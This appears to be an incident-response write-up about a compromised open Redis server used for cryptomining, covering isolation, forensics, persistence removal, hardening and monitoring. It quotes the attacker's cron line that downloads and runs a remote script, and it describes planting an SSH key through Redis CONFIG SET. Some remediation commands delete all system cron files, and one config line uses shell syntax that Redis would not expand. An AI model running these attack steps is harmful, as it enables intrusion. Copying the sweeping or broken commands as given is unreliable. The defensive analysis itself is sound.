Redis Mining Attack: Full Incident Response Timeline from Alert to Hardening

Redis is widely used for caching, distributed locks, rate limiting, and session storage, making it a frequent target for cryptomining scripts. The article documents a real‑world incident where an unauthenticated Redis instance on an Alibaba Cloud ECS was compromised, leading to CPU‑intensive mining processes and persistent backdoors.

1. Incident Trigger

At 02:47 a monitoring system raised three combined alerts: host CPU >90% for 5 minutes, Redis connection count up 200%, and outbound traffic exceeding 800 MB/min. The alert title was "Production Redis Host Anomaly".

2. Immediate Isolation

The response began by cutting network access:

# Cloud security‑group: deny all outbound/inbound traffic for the host
# Host‑level iptables (double‑layer):
iptables -P INPUT ACCEPT
iptables -P OUTPUT DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -p tcp -s 10.10.0.0/16 --dport 22 -j ACCEPT   # allow bastion SSH
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 6379 -j ACCEPT # allow internal Redis
iptables -A INPUT -j DROP
iptables -A OUTPUT -j DROP
service iptables save

The article stresses using both cloud‑provider security groups and host‑level firewalls to avoid a single point of failure.

3. Evidence Collection (T+00:05 – T+00:12)

Before making any changes, a full forensic snapshot was taken:

System information: uname -a, /etc/os-release, uptime Process tree: ps auxf, pstree -ap Network connections: ss -antp, netstat -antp Login records: last, lastb Crontab for all users, system‑wide cron directories, and /etc/rc* scripts

All systemd unit files and enabled services

Redis configuration and runtime info via redis-cli CONFIG GET * and redis-cli INFO File integrity hashes for critical binaries (e.g., md5sum /bin/ps /bin/netstat)

4. Process Termination (T+00:12 – T+00:15)

The top CPU consumers were identified as /tmp/.x/kdevtmpfsi and related watchdog processes. The article recommends a two‑step kill to avoid automatic respawn:

# Capture a core dump (optional)
gcore 8421
# Stop then kill
kill -STOP 8421 8422 8501
sleep 1
kill -CONT 8421 8422 8501
kill -9 8421 8422 8501
ps -p 8421,8422,8501

If the process reappears, it indicates a crontab or systemd service restart.

5. Persistence Cleanup

5.1 Crontab Backdoor

The compromised crontab contained a per‑minute curl … | bash payload. The remediation steps were:

# Backup then delete
crontab -l > /tmp/crontab.bak
crontab -r
# Remove system‑wide cron files
rm -f /etc/cron.d/* /etc/cron.hourly/* /etc/cron.daily/*

5.2 Malicious systemd Service

A service named kdevtmpfsi.service was discovered. It was stopped, disabled, and its unit file removed:

systemctl stop kdevtmpfsi.service
systemctl disable kdevtmpfsi.service
rm -f /etc/systemd/system/kdevtmpfsi.service
systemctl daemon-reload
systemctl reset-failed

5.3 SSH Authorized Keys

The attacker had written an SSH public key to /root/.ssh/authorized_keys. The article advises backing up the file, then editing to remove the unknown key, and finally hardening SSH:

# Backup
cp /root/.ssh/authorized_keys /opt/ir/authorized_keys.bak
# Edit to keep only legitimate keys
vi /root/.ssh/authorized_keys
# SSH hardening (sshd_config)
PasswordAuthentication no
ChallengeResponseAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password
# Reload without dropping the current session
systemctl reload sshd

6. Redis Instance Investigation

Key findings from the Redis side: bind 0.0.0.0, protected-mode no, and an empty requirepass – the classic “open Redis” configuration.

Evidence of CONFIG SET dir /root/.ssh and CONFIG SET dbfilename authorized_keys commands in the slowlog.

Presence of a malicious key named * * * * * curl -fsSL http://198.51.100.23:8000/x.sh | bash in the crontab.

Based on these observations, the article recommends the following hardening actions:

# /etc/redis/redis.conf
bind 127.0.0.1 10.20.30.40
protected-mode yes
requirepass $(openssl rand -base64 32)
rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command DEBUG ""
appendonly yes
maxmemory 6gb
maxmemory-policy allkeys-lru
slowlog-log-slower-than 10000
slowlog-max-len 128

For Redis 6+, ACLs should be defined to separate read‑only, business, and admin users.

7. Monitoring and Alerting

The article sets up redis_exporter for Prometheus and defines a set of alerts covering Redis availability, connection spikes, memory usage, slowlog length, and rejected connections. Host‑level alerts for CPU, outbound traffic, and file‑change detection (crontab, sudoers, authorized_keys) are also provided.

8. Post‑mortem and Lessons Learned

Root causes identified include:

Redis bound to 0.0.0.0 with no password and protected‑mode disabled.

Security group exposing port 6379 to the Internet.

Lack of monitoring for connection count, CPU, and outbound traffic.

No incident‑response playbook for Redis breaches.

Key takeaways:

Never expose Redis publicly; always bind to internal IPs.

Enforce strong passwords or ACLs.

Rename or disable dangerous commands.

Implement layered network controls (cloud security groups + host firewall).

Automate file‑change alerts for crontab and SSH keys.

Practice regular incident‑response drills and keep forensic snapshots.

Finally, the article provides scripts for pushing crontab counts and file‑mtime metrics to Prometheus via the node_exporter textfile collector, as well as a comprehensive iptables‑setup script for production environments.